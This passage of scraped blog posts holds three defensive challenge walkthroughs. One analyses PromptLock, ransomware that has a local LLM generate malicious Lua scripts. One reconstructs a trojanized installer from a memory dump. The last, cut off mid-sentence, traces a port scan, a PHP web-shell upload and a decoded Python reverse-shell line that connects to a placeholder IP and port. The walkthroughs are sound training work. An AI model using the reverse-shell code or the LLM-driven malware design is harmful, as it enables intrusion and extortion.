from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption. These scripts are cross-platform compatible, functioning on Windows, Linux and macOS.\nQuestion 1: What programming language do the malicious scripts generated by PromptLock use? Let\u0026rsquo;s kick off this investigation by extracting the challenge file, promptlock.zip. That leaves us with a single executable:\ne24fe0dd0bf8d3943d9c4282f172746af6b0787539b371e6626bdb86605ccd70.exe\nTo start the analysis, we turn to Detect It Easy (DiE). Detect It Easy is a popular file identification tool that\u0026rsquo;s especially useful early in a reverse engineering workflow. It can help identify compilers, metadata, and it also gives us access to plaintext strings that might expose clues about how the malware operates.\nConveniently, Detect It Easy is already installed on the LetsDefend VM under the Tools folder. Once opened, select the PromptLock binary using the File name selector to start the analysis.\nDetect It Easy: Selecting the Strings View\nClicking the Strings button lets us inspect human-readable data embedded in the binary. This is a smart starting point for a cursory review, especially when we\u0026rsquo;re trying to understand high-level capabilities without diving straight into disassembly.\nSince this is an introductory reverse-engineering challenge and I\u0026rsquo;m very much a beginner, let\u0026rsquo;s lean on the provided hint for a jump start.\nPerfect! That hint nudges us toward something visible in the strings output, so let\u0026rsquo;s search for \u0026ldquo;code generator\u0026quot;using DiE\u0026rsquo;s strings filter.\nDetect It Easy: Searching strings and pasting into Notepad++\nThe search returns a single match, but the raw output is hard to read in DiE. Right-click the entry, copy the string, and paste it into Notepad++ or another text editor of your choice. Cleaning up the formatting makes the content much easier to understand.\nThe prompt embedded in the binary instructs the LLM to behave as a Lua code generator. That tells us the malicious scripts generated by PromptLock are written in Lua, which answers Question 1.\nLua is lightweight, embeddable, and commonly used as a scripting language, which makes it a good choice for generating malicious scripts. Nice find!\nQuestion 2: What role is assigned to the LLM for analyze sensitive files and assess cyberphysical threats? We can approach Question 2 the same way we did in the previous question. This time, we\u0026rsquo;re looking for strings that describe a role assigned to the LLM through the embedded prompt.\nOne keyword from the question stands out immediately: cyberphysical. It\u0026rsquo;s weird and likely to appear verbatim in the prompt text. That makes it a good candidate for a strings search. Let\u0026rsquo;s try it.\nDetect It Easy: Searching strings and pasting into Notepad++\nBingo! That keyword leads us directly to an associated prompt. As before, right-click the matching string, copy it, and paste it into Notepad++ or another text editor to make it easier to read.\nOnce the formatting is cleaned up, the context is clear. The prompt explicitly instructs the LLM to take on the role of a cybersecurity expert for responding to requests. Assigning a role this way is a common prompt-engineering technique, intended to guide the model toward more context-relevant output.\nQuestion 3: What Go version was used to build the PromptLock ransomware? Let\u0026rsquo;s see if we can continue using Detect It Easy (DiE) and its Strings view to identify the Go version used to build the PromptLock ransomware.\nTo do that, we first need a rough understanding of how Go versioning works. According to Wikipedia, \u0026ldquo;Go uses a_ _go1.[major].[patch]_ versioning format, such as _go1.26.0.\u0026quot; This is a helpful tip and suggests we can search for the string go1 in the binary to identify development artifacts.\nWith that in mind, let\u0026rsquo;s search for go1 using DiE\u0026rsquo;s strings filter.\nDetect It Easy: Finding the Go version string\nThere are a bunch of hits for go1, which isn\u0026rsquo;t too surprising. But, scanning through the results, one entry stands out, because it closely matches the expected go1.X format used for version identifiers.\nThat string indicates the specific Go version (_go1.24.5_) used to compile the binary, giving us the answer to Question 3.\nQuestion 4: Which AI model does PromptLock use locally via the Ollama API to generate malicious scripts? To answer Question 4, we need to crank up the difficulty slightly. This time, there wasn\u0026rsquo;t an obvious or relevant string in Detect It Easy\u0026rsquo;s Strings view that pointed directly to the AI model used by the malware.\nThat\u0026rsquo;s our cue to shuffle the approach.\nFor this task, let\u0026rsquo;s move over to Ghidra, the popular open-source reverse engineering tool. From the Tools folder, launch it by running ghidraRun.bat, step through the setup prompts, and allow Ghidra to analyze the PromptLock binary. Once analysis completes, Ghidra asks whether we want to jump straight to the main.main function, which is almost always a solid jumping-off point.\nWith main.main open, focus on the Decompiler window on the right. Scrolling through the variables and references, we\u0026rsquo;ll stumble across a call to main.model appearing on line 244. That sounds promising\u0026hellip;\nGo ahead and click main.model to jump to its definition in the central, listing window.\nGhidra: Identifying the AI model from the main.model function\nHere we find a string value assigned to main.model.str: gpt-oss:20b.\nThis tells us which AI model PromptLock is configured to use locally through Ollama: gpt-oss:20b. This is an OpenAI-released**,** open-weight language model designed for running locally. That makes it a good fit for this scenario, as PromptLock seems to generate malicious scripts entirely on-host without relying on external connectivity or credentials.\nQuestion 5: What is the hardcoded IP address that PromptLock connects to? To answer Question 5, we need to identify a hard-coded IP address embedded in the PromptLock binary. While there are a few different ways to approach this using the tools we\u0026rsquo;ve already touched, let\u0026rsquo;s pivot and get some hands-on time with another option: pestudio.\npestudio is a fantastic static malware analysis tool that can surface a wide range of useful indicators quickly and with very little setup. It\u0026rsquo;s especially good at identifying things like IP addresses, URLs, and suspicious strings without requiring deep reverse engineering. Conveniently, this tool is also already included on the LetsDefend VM, so let\u0026rsquo;s take advantage of that.\nOpen pestudio and load the PromptLock executable. After a short analysis period, the panels on the left begin to populate. The section we\u0026rsquo;re interested in first is Indicators at the top.\npestudio: Uncovering a hardcoded IP address\nThis gives us a fast way to surface potential network indicators that we can later pivot on using threat intelligence or additional dynamic analysis. In this case, the URL pattern detected by pestudio resolves to the hardcoded IP address we\u0026rsquo;re looking for: 172[.]42[.]0[.]253.\nQuestion 6: Which encryption algorithm does the PromptLock ransomware use for file encryption? To answer Question 6, let\u0026rsquo;s jump back to Detect It Easy and take the path of least resistance by searching for a string related to encryption functionality.\nA good starting point here is searching for the string \u0026quot;encrypt\u0026quot;. That returns a large number of results, which isn\u0026rsquo;t surprising for a ransomware sample. Fortunately, near the top of the list, there\u0026rsquo;s something immediately conspicuous: a prompt instruction that explicitly references the SPECK 128-bit encryption algorithm. You might even notice a small spoiler for Question 8 hiding nearby.\nDetect It Easy: Locating the ransomware encryption algorithm string\nThat string gives us what we need to answer Question 6. PromptLock uses SPECK 128-bit for encryption.\nThe use of SPECK seems consistent with how this malware approaches its overall design. According to Wikipedia, SPECK is a \u0026quot; # \u0026ldquo;family of lightweight block ciphers\u0026rdquo;, making it practical for ransomware that prioritizes cross-platform portability and low overhead.\nQuestion 7: What is the Bitcoin address embedded in the binary? To answer Question 7, we can take a straightforward approach by adjusting our search of the embedded strings for \u0026quot;bitcoin\u0026quot;.\nDetect It Easy: Discovering the attacker\u0026rsquo;s Bitcoin wallet address\nIt\u0026rsquo;s a quick payoff. Take a look at the first entry and copy it and paste it into a text editor for easier reading. From there, we\u0026rsquo;ll find that the prompt instructs the LLM to include a specific Bitcoin address in the generated ransom note. Nice!\nQuestion 8: What is the file name contains the list of files to encrypt? We\u0026rsquo;ve made it to the last question. Remember back in Question 7 when I mentioned you might have spotted a spoiler for what was coming next?\nIf we look closely at the strings output again, specifically at line 11359, right below the one we used to answer Question 7, we\u0026rsquo;ll find another useful instruction. This time, the prompt references a file named target_file_list.log.\nThe instructions indicate that this file is used to identify the encryption targets, telling PromptLock which files it should encrypt. That makes target_file_list.log the answer to Question 8.\nDetect It Easy: Finding the target list file name string\nThis is a particularly valuable piece of evidence from a defensive perspective. Knowing the file name that contains the list of targets could help us better understand the scope of impact on a victim device, recover during an investigation, and build more precise detections.\nConclusion: How fun was that! A big thank you to LetsDefend for another great challenge that pushed me into some new territory.\nThis one was a good reminder that even with beginner-level reverse engineering skills, you can still extract a surprising amount of meaningful information from a malware sample. By leaning on static analysis techniques and using the right tools at the right time, we were able to uncover AI model usage, encryption choices, network indicators, and attacker intent without needing to be a reversing wizard. That\u0026rsquo;s encouraging, especially if you\u0026rsquo;re earlier in your journey or hesitant to dive into malware analysis.\nFor me, this challenge was as much about building confidence as it was about answering questions. Static analysis isn\u0026rsquo;t always flashy, but it\u0026rsquo;s incredibly powerful, and working through PromptLock reinforced the value of slowing down, reading carefully, and following the evidence where it leads. There were moments where I stumbled or took a less-than-ideal path, but each of those course corrections helped reinforce the process and make the lessons stick.\nIt also feels like scenarios like this aren\u0026rsquo;t just theoretical. As AI becomes more accessible and more normalized, it\u0026rsquo;s not hard to imagine malware authors experimenting with similar designs. Getting comfortable with the terminology, tooling, and patterns now feels like a smart way to stay ahead of the curve, even if the analysis feels a little weird at first.\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/ai-powered-ransomware\nDetect It Easy: https://github.com/horsicq/Detect-It-Easy\nNotepad++: https://notepad-plus-plus.org/\nWikipedia — Go (Programming Language): https://en.wikipedia.org/wiki/Go_(programming_language)\nGhidra: https://github.com/nationalsecurityagency/ghidra\npestudio: https://www.winitor.com/\nWikipedia — Speck (cipher): https://en.wikipedia.org/wiki/Speck_(cipher)\n","date":"2026-03-29T00:00:00Z","image":"/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png","permalink":"/posts/letsdefend-aipowered-ransomware-challenge-walkthrough/","title":"LetsDefend  — AI-Powered Ransomware Challenge Walkthrough"},{"content":"LetsDefend — MemLoot Challenge Walkthrough Windows Memory Forensics with Volatility 3: Ransomware Detection, Process Analysis, and Network Artifact Discovery. Image Credit: https://app.letsdefend.io/challenge/memloot\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog while looking for a detailed guide to the MemLoot blue team challenge from LetsDefend, you\u0026rsquo;re in the right place. This one goes all in on memory analysis, where volatile artifacts living in RAM can tell a story even when disk evidence is long gone.\nFor this challenge, we\u0026rsquo;re putting on our incident response hats and investigating a ransomware alert on a newly provisioned workstation. After some scary activity was detected, including file encryption and a ransom note, the system was isolated from the network. The user reported downloading and installing what they believed was legitimate software shortly before everything went off the rails. Our mission is to validate that story and figure out exactly what happened.\nFortunately, we\u0026rsquo;re provided with a memory dump from the affected system, which gives us everything we need to begin reconstructing the attack. Using Volatility 3, we\u0026rsquo;ll analyze running processes, identify file paths, uncover network artifacts, and reveal the ransomware\u0026rsquo;s behavior directly from memory. Along the way, we\u0026rsquo;ll correlate process trees, execution timestamps, encrypted file indicators, and outbound connections to build a clear picture of what went down.\nI\u0026rsquo;ll walk you through each stage, explaining what we\u0026rsquo;re doing so you can develop your own workflow for approaching similar incidents in the real world. By the end, you\u0026rsquo;ll have a solid sense of how to use Volatility to pivot from suspicious executables to network infrastructure and confidently piece together an attack chain hiding inside RAM. Let\u0026rsquo;s go!\nAnd hey, if you find this walkthrough helpful, whether it helps you level up your memory forensics skills, gets you over a stumbling block, or just serves as a useful reference, consider following me for more weekly deep dives.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: We are reporting a ransomware attack on a workstation belonging to a new employee.\nThe machine was isolated from the network after unusual activity was detected, including file encryption and the appearance of a ransom note.\nThe employee mentioned that they had recently downloaded and installed software, believing it to be a legitimate application. Shortly after, critical files became inaccessible, and a ransom message appeared.\nWe are providing you with a memory dump to help identify the cause of the ransomware infection and determine how the attack was executed\nQuestion 1: Identify the suspicious executable running in memory. Let\u0026rsquo;s kick off this investigation by opening the ChallengeFile folder, which contains the artifact we\u0026rsquo;ll be examining: MemLoot.vmem.\nOverview of the challenge artifacts\nYou might be asking yourself what a .vmem file actually is and how we\u0026rsquo;re supposed to read it. That\u0026rsquo;s exactly the point of this challenge. A .vmem file is a virtual memory dump from a VMware virtual machine, capturing a snapshot of its virtual RAM at a specific point in time. Memory images like this are rich forensic artifacts that let us dig into evidence such as running processes, loaded modules, injected code, and even fragments of network activity.\nTo explore the memory image, we\u0026rsquo;ll use Volatility 3, the modern version of the popular memory forensics framework described as \u0026ldquo;the world\u0026rsquo;s most widely used framework for extracting digital artifacts from volatile memory (RAM) samples.\u0026ldquo;I\u0026rsquo;ll refer to it simply as Volatility from this point forward. This tool is already installed on the LetsDefend virtual machine, so we\u0026rsquo;re good to go.\nTo get started, open Volatility from the pinned shortcut on the taskbar.\nLaunching Volatility\nOnce it\u0026rsquo;s open, a quick pro tip if you\u0026rsquo;re still getting comfortable with Volatility is to review the built-in help, which lists supported plugins and usage details:\nvol -h\nLooking back at our objective for Question 1, we need to identify a suspicious executable running on the compromised host. From Volatility\u0026rsquo;s help output, we can see that the windows.pslist plugin is a solid starting point. It enumerates processes that were active in memory at the time the snapshot was captured.\nLet\u0026rsquo;s give it a try:\nvol -f .\\MemLoot.vmem windows.pslist\nVolatility: Identifying the suspicious executable\nOnce the output loads, we can start examining the process list. Depending on your familiarity with Windows internals, some process names will look immediately normal, while others may feel just a bit off. If you ever stumble here, a reliable reference is the SANS Hunt Evil cheat sheet, which helps quickly distinguish expected Windows process from anomalous ones.\nNow let\u0026rsquo;s tie this back to the scenario. We\u0026rsquo;re told that \u0026ldquo;the employee mentioned that they had recently downloaded and installed software, believing it to be a legitimate application.\u0026ldquo;One process that immediately stands out is SpotifySetup.exe, which neatly fits into the scenario.\nAt this stage, we\u0026rsquo;ve got a strong lead and a suspicious file potentially masquerading as a familiar app.\nQuestion 2: What is the full path of the malicious file? Now that we\u0026rsquo;ve identified the suspicious executable, it\u0026rsquo;s time to dig a little deeper and determine the full path of the file on disk.\nTo do this, we\u0026rsquo;ll pivot away from windows.pslist and instead leverage the windows.pstree module. While windows.pslist gives us a flat view of running processes, _windows.pstree_ helps us understand parent€“child relationships and often includes additional context, such as the executable path, when it\u0026rsquo;s available in memory.\nA clean way to narrow our focus is to apply some pattern matching to the output. Think of this as a rough equivalent to grep on Linux. Since we\u0026rsquo;re running Volatility on Windows, we can pipe the output directly into the PowerShell Select-String cmdlet and filter for references to our suspicious binary, SpotifySetup.exe.\nvol -f .\\MemLoot.vmem windows.pstree | Select-String -Pattern \u0026ldquo;SpotifySetup.exe\u0026rdquo;\nRunning this command and filtering the results reveals the full path of the executable on the original host\u0026rsquo;s disk:\nC:\\Users\\Zifrana\\Downloads\\SpotifySetup.exe\nVolatility: Uncovering the malicious file path using windows.pstree\nThis makes sense given the scenario. The employee mentioned downloading what they believed was legitimate software, and the Downloads directory is a common staging point for exactly that kind of activity. At this point, we\u0026rsquo;ve confirmed not only the suspicious process name, but also where it lived on disk, giving us valuable context for how the ransomware likely made its way onto the system.\nQuestions 3 \u0026amp; 4: What is the PID of the malicious file? When was the malicious file executed? One of the nice bonuses of using windows.pstree instead of stopping at windows.pslist is that we get access to more contextual details than just a process name and hierarchy. In addition to showing us where the executable lived on disk, the output also exposes the process ID (PID) and the creation timestamp for that process.\nThat gives us everything we need to answer Question 3 and Question 4 without introducing any new commands.\nVolatility: Uncovering the malicious file PID and executed timestamp using windows.pstree\nAt this point, we\u0026rsquo;ve established not just what executable ran and where it came from, but also when it entered execution and how it appeared in the process tree. With those answers in hand, we\u0026rsquo;re in good shape to move into deeper analysis.\nQuestion 5: What is the real name of the malicious file? Continuing our analysis of the malicious SpotifySetup.exe, we now need to determine the real name of the file, not just the display name used to lure a victim into launching it.\nTo do that, we\u0026rsquo;ll take advantage of an optional argument available in Volatility\u0026lsquo;s windows.pslist module. The --dump option allows us to extract the in-memory contents associated with a specific process so that we can perform offline analysis.\nVolatility: Dumping the contents of the malicious process\nUsing the PID we identified earlier, we can run:\nvol -f .\\MemLoot.vmem windows.pslist \u0026ndash;dump \u0026ndash;pid 6816\nThis command produces a .dmp file containing the dumped memory for that process. While this isn\u0026rsquo;t the same as the original executable copied directly from disk, it can be enough to extract useful metadata that survives in memory.\nFor that analysis, we\u0026rsquo;ll use ExifTool, a widely used metadata inspection utility. ExifTool is already installed in the Tools folder of the LetsDefend environment, which makes it convenient. We can point it directly at the dumped file like this:\n.\\exiftool.exe -f \u0026ldquo;C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\6816.SpotifySetup.e.0x7ff6ad990000.dmp\u0026rdquo;\nExifTool: Identifying the Original File Name\nReviewing the output, the Original File Name field sticks out. Instead of anything resembling Spotify, the value is listed as DarkHav0c.\nThat\u0026rsquo;s a far spookier name than the one presented to the user and a strong indicator that the executable was masquerading as legitimate software. At this point, the gap between the file\u0026rsquo;s display name and its embedded metadata helps confirm that we\u0026rsquo;re dealing with a trojanized installer rather than an accidental false positive.\nQuestion 6: What file extension does the ransomware use after encryption? Now that we\u0026rsquo;ve collected a solid amount of information about the file itself, let\u0026rsquo;s shift focus toward understanding how it operates. We\u0026rsquo;ve already established that this binary behaves like ransomware, and one of the most visible indicators of successful encryption is the file extension appended to victim files.\nTo identify that extension, we\u0026rsquo;ll start by returning to the user path we discovered back in Question 2 and build outward from there. This time, we\u0026rsquo;ll rely on Volatility\u0026lsquo;s windows.filescan plugin, which searches memory for file objects that may still be referenced by the operating system.\nFor a little peek behind the curtains, this step gave me some trouble.\nMy first instinct was to filter the output down to the user\u0026rsquo;s directory using pattern matching. I tried piping the results through findstr to look at everything under \\Users\\Zifrana\\:\nvol -f .\\MemLoot.vmem windows.filescan | findstr \u0026ldquo;\\Users\\Zifrana\u0026quot;\nI also tried exporting the output to a text file, hoping that it would make it easier to sift through:\nvol -f .\\MemLoot.vmem windows.filescan \u0026gt; filescan.txt\nUnfortunately, neither approach turned up anything useful. The exported output was truncated, and the filtered results didn\u0026rsquo;t surface any meaningful indicators related to encrypted files.\nAt that point, there was only one option left. Manual mode.\nvol -f .\\MemLoot.vmem windows.filescan\nLetting the full file scan stream directly to the terminal isn\u0026rsquo;t elegant, and it takes a loooooong time to run, so be patient: Maybe you\u0026rsquo;ll spot something interesting as it zips by\u0026hellip;\nVolatility: Locating the needle in the haystack\nFinally, once it completes, we can start to scroll up through the output. Thankfully, we don\u0026rsquo;t have to go too far before we stumble across a familiar file extension, .Hav0c.\nThat extension gives us our answer for Question 6 and provides another strong indicator tying the observed activity back to the malicious binary we\u0026rsquo;ve been analyzing.\nQuestion 7: Identify the IP address and port the ransomware attempted to communicate with. To tackle Question 7, we\u0026rsquo;re going to pivot to another Volatility module: windows.netscan. This plugin scans memory for network artifacts, including active and recently closed connections, IP addresses, and associated ports.\nOur goal here is to identify network activity tied specifically to the malicious binary, SpotifySetup.exe.\nTo make that easier, we\u0026rsquo;ll run the module and redirect its output to a text file. This gives us the flexibility to quickly search through the results using a text editor rather than manually scrolling through terminal output. In the example below, the results are written to a file named netscan.txt:\nvol -f .\\MemLoot.vmem windows.netscan \u0026gt; netscan.txt\nOnce that command completes, we can open netscan.txt in a tool like Notepad and use its built-in search functionality. Press Ctrl + F, search for SpotifySetup, and jump to the first matching entry.\nNotepad: Analyzing the output of Volatility\u0026rsquo;s windows.netscan\nFrom that entry, we can see that SpotifySetup.exe established an outbound connection to a ForeignAddr of 104[.]152[.]52[.]238 over ForeignPort 6548.\nThis is a nice find because it gives us visibility into the attacker\u0026rsquo;s external infrastructure like a potential command and control address. It\u0026rsquo;s also great for defensive purposes, such as blocking the indicator or pivoting into threat intelligence to discover more related activity.\nQuestions 8 \u0026amp; 9: What is the PPID of the malicious file? Identify the initiating process that executed the malicious binary. Finally, we\u0026rsquo;ve made it to the last two questions, and fittingly, they take us right back to where this investigation began.\nTo answer Question 8 and Question 9, we need to revisit the windows.pslist output from Question 1 and take a closer look at how SpotifySetup.exe was launched.\nWithin the process listing, we can identify the parent process ID (PPID) associated with the malicious binary. The PPID for SpotifySetup.exe is 5864.\nVolatility: Identifying the malware PPID with windows.pslist\nWith that, we can tighten our focus and determine which process was responsible for launching the ransomware. A quick way to do that is to search the process list for the matching PID:\nvol -f .\\MemLoot.vmem windows.pslist | findstr \u0026ldquo;5864\u0026rdquo;\nVolatility: Uncovering the PPID\nVoilà! That search reveals that process 5864 maps directly to explorer.exe, the Windows shell. Since explorer.exe is responsible for handling user-initiated actions like double-clicking files or executing programs, this confirms the user\u0026rsquo;s story of good, ole social engineering, where the employee reported downloading and installing what they believed to be legitimate software.\nNow that we\u0026rsquo;ve gotten everything scoped, let\u0026rsquo;s close out this investigation!\nConclusion: How fun was that! A big thank you to LetsDefend for another awesome challenge.\nThis week\u0026rsquo;s investigation was a great starting point into practical memory forensics, giving us a firsthand look at how ransomware activity can be reconstructed using volatile artifacts alone. From identifying a suspicious executable in memory, to uncovering its true name, spotting encrypted files, and finally surfacing outbound network connections, this challenge showcased just how much visibility RAM can provide during incident response. Pretty cool, right?\nAs we worked through the memory dump, we were rebuilding the attack chain one artifact at a time. Each question flowed naturally into the next, and the investigation felt logical and intuitive as we pivoted between process listings, file scans, and network artifacts using Volatility. For me, a structured approach makes it especially satisfying, since you\u0026rsquo;re not just answering questions, you\u0026rsquo;re reinforcing how real incident response workflows come together. Love it!\nI picked this challenge because while I\u0026rsquo;ve used Volatility plenty of times, I hadn\u0026rsquo;t tried it on Windows before and wanted to see how different it felt compared to Linux. On top of that, opportunities to practice memory analysis in the real world don\u0026rsquo;t come up often. It can be intimidating at first, but challenges like this help make it click and let you get your reps in. Practice really does make perfect.\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/memloot\nGitHub — Volatility 3: https://github.com/volatilityfoundation/volatility3\nVolatility Command Reference: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#netscan\nSANS Hunt Evil Poster: https://www.sans.org/posters/hunt-evil\nExifTool: https://exiftool.org/\n","date":"2026-03-22T00:00:00Z","image":"/posts/letsdefend-memloot-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png","permalink":"/posts/letsdefend-memloot-challenge-walkthrough/","title":"LetsDefend  — MemLoot Challenge Walkthrough"},{"content":"Blue Team Labs Online: Network Analysis — Web Shell Challenge Walkthrough PCAP Threat Hunting with Wireshark and NetworkMiner: Detecting Port Scans, Recon Tools, and Reverse Shell Activity. Image Credit: https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b\nIntroduction: Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a clear and detailed guide to the Network Analysis — Web Shell blue team challenge from Blue Team Labs Online, you’re in the right place. This one leans heavily into network‑level investigation, where every PCAP tells a story and every packet might be a clue.\nIn this challenge, we’re stepping into the role of a network defender investigating a suspicious SIEM alert for port scanning activity. An internal host suddenly began probing another system, and it’s our job to figure out what’s happening and confirm whether it’s malicious. Fortunately, we’re given a PCAP containing the full exchange, so we have everything we need to analyze what’s going on.\nWe’ll be using Wireshark to break down the traffic patterns and identify indicators of port scanning, followed by NetworkMiner to dig deeper into user agents, parameters, web shells, and encoded command execution. Along the way, we’ll jump over to CyberChef to clean up payloads, decode some malicious commands, and figure out exactly what kind of shell connection is established.\nI’ll walk through each stage clearly so you can build your own workflow for approaching similar packet‑driven investigations. By the end, you’ll have a solid sense of how to pivot between tools like Wireshark, NetworkMiner, and CyberChef to validate detections, uncover malicious activity, and piece together an attack chain hiding inside raw network traffic. Let’s go!\nAnd, hey, if you find this walkthrough helpful, whether it levels-up your skills, gets you over a stumbling block, or just serves as a handy reference — consider following me for more weekly deep dives.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: The SOC received an alert in their SIEM for ‘Local to Local Port Scanning’ where an internal private IP began scanning another internal system. Can you investigate and determine if this activity is malicious or not? You have been provided a PCAP, investigate using any tools you wish.\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It’s always important when working with lab/challenge files from BTLO (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. For this walkthrough, I’m using FLARE-VM which is “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestions 1 \u0026amp; 2: What is the IP responsible for conducting the port scan activity? What is the port range scanned by the suspicious host? Let’s get cooking. After extracting the challenge files, we stumble across the artifact we need: BTLOPortScan.pcap. This file contains captured network traffic, giving us visibility into the communication that triggered the alert.\nOverview of the Challenge File\nTo start, we’ll load the PCAP into Wireshark. One of the quickest ways to spot scanning behavior is to look at the TCP conversations. This gives us a high‑level view of which hosts are talking and which ports they’re communicating over.\nTo reach this view, navigate to Statistics \u0026gt; Conversations \u0026gt; TCP and sort the Port B (destination port) column.\nWireshark: Identifying port scan activity through the conversations view\nRight away, we see a pattern emerge: the Address A (source IP address) 10.251.96.4 sends a couple of packets to each well‑known port, incrementing one by one from port 1 up through port 1024.\nWireshark: Identifying the top end of the port range scanned by the suspicious IP\nThis behavior is characteristic of a vertical port scan, where a single host probes many ports on a single destination. With that, we’ve got everything needed to answer Questions 1 \u0026amp; 2.\nQuestion 3: What is the type of port scan conducted? Now that we’ve identified the port scan activity from the suspicious host, we need to determine the specific type of scan it performed. To illustrate this, we’ll apply a Wireshark display filter to inspect the TCP communication to and from a specific port.\nOn the Wireshark home screen, we can enter the following filter to isolate traffic from and to the suspicious host over TCP port 1, for example:\nip.addr==10.251.96.4 \u0026amp;\u0026amp; tcp.port==1\nThe first packet shows that the suspicious host sends a TCP SYN packet to the target on TCP port 1.\nWireshark: Looking at the TCP conversation for port 1\nThe destination host responds with a RST packet because the port is closed. This behavior aligns with how Nmap describes a SYN scan: “the OS responds to the unexpected SYN/ACK with a RST packet\u0026hellip; Because the three-way handshake is never completed, SYN scan is sometimes called half-open scanning”.\nTCP SYN (Stealth) Scan (-sS) | Nmap Network Scanning _SYN scan is the default and most popular scan option for good reason. It can be performed quickly, scanning thousands…_nmap.org\nIn other words, the suspicious host initiates the handshake with a SYN, receives either a SYN/ACK or RST, and never completes the full connection. That’s the indicator of a TCP SYN scan which answers Question 3.\nQuestion 4: Two more tools were used to perform reconnaissance against open ports, what were they? To answer this one, we’ll pivot away from Wireshark over to another excellent network forensics tool: NetworkMiner. It offers robust PCAP analysis capabilities, which makes it handy for identifying what tools were used during the reconnaissance phase. Our goal is to examine the User‑Agent headers in the captured traffic to see if they reveal anything interesting.\nThere’s just one catch: NetworkMiner doesn’t ingest PCAPNG files, so we need to convert the challenge’s PCAPNG into a standard PCAP. In Wireshark:\nGo to File \u0026gt; Save As Select the Wireshark/tcpdump/...-pcap option to save a copy in PCAP format With the file converted, launch NetworkMiner and open the new PCAP. IMPORTANT: Make sure you’re working in a safe analysis environment. BTLO notes that this PCAP contains real malware, and NetworkMiner will automatically reassemble any files reconstructed from the traffic, including malicious ones.\nOnce the file loads:\nClick the Parameters tab Enter User-Agent in the Filter keyword box Sort the results by Parameter value to group similar agents together NetworkMiner: Filtered view of User-Agent headers exposing recon tools\nBingo! Two entries stand out immediately as well‑known reconnaissance tools: gobuster and sqlmap.\nGobuster is a directory brute‑forcing tool often used during web enumeration. Sqlmap is an automated penetration testing tool for detecting and exploiting SQL injection vulnerabilities. Both tools conveniently identify themselves in the User‑Agent header (for example, gobuster/3.0.1 or sqlmap/1.4), which is why sorting by parameter value works so well here.\nQuestion 5: What is the name of the php file through which the attacker uploaded a web shell? Now let’s stick with the Parameters tab in NetworkMiner and clear the previous filter. Instead of searching for User-Agent values this time, we’ll look for the keyword .php to identify anything that might hint at a file upload function an attacker could abuse.\nScanning through the filtered results, we stumble across something interesting: a POST request to /upload.php in frame 16102. That might work, right?\nNetworkMiner: Parameters tab showing POST request toward an upload function\nBut this isn’t necessarily the file we’re looking for. To confirm where the upload originated, we should inspect the second entry tied to this same frame. In that entry, the Referer parameter points to /editprofile.php.\nThat’s our answer! The attacker uploaded the web shell through editprofile.php, not upload.php. The presence of the Referer header makes this easy to see and correlates the upload action directly to the vulnerable file.\nQuestion 6: What is the name of the web shell that the attacker uploaded? Now that we’ve found the file abused to upload a web shell, let’s turn our attention to identifying the shell itself before we dive into deeper analysis. For this, we’ll stay right in the same Parameters view in NetworkMiner.\nConveniently for us, there’s a third parameter in frame 16102, listed directly beneath the entries we examined in the previous question. It includes a filename header with the value dbfunctions.php.\nThat’s our web shell!\nNetworkMiner: Parameters tab showing filename=dbfunctions.php associated with the upload request\nQuestions 7 \u0026amp; 8: What is the parameter used in the web shell for executing commands? What is the first command executed by the attacker? Our next tasks are to pinpoint the parameter the web shell uses to execute commands and identify the first command the attacker ran. This part is nice and straightforward. Right below the filename parameter we spotted in Question 6, we see clear evidence of command execution using the cmd parameter.\nReviewing the entries, we see multiple commands sent through this parameter, but the very first is the id command. This is a typical discovery step for an attacker because it reveals the user context that the web shell is running under.\nNetworkMiner: Parameters tab showing id as the first command executed\nQuestions 9 \u0026amp; 10: What is the type of shell connection the attacker obtains through command execution? What is the port he uses for the shell connection? We’re nearing the end of our investigation, and the final two questions have us analyzing the malicious command execution that follows the discovery commands id and whoami. We can find the attacker’s command line directly below the execution entry we identified in the last question.\nNetworkMiner: Copying the command execution payload\nTo make this easier to read and understand, we’ll grab an overview of the full command and do a little cleanup in CyberChef. To copy the entry in NetworkMiner, right‑click the row and select copy selected rows.\nNext, open CyberChef (web version or offline if you have it in your analysis environment). Paste the copied row into the input field. From the operations menu, add URL Decode to the recipe. This strips away the URL‑encoded characters that make the command harder to read.\nIn the output window, we now have everything we need to answer the final two questions.\nCyberChef: Decoding the attacker’s command execution to analyze the shell\nThe decoded command shows two important behaviors. First, the attacker sets up a TCP socket and connects back to a remote listener on the specified IP and port:\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((\u0026ldquo;IP\u0026rdquo;, PORT))\nThis is our first clue. It establishes an outbound connection initiated from the compromised host, meaning the attacker is expecting a callback.\nThe key indicator 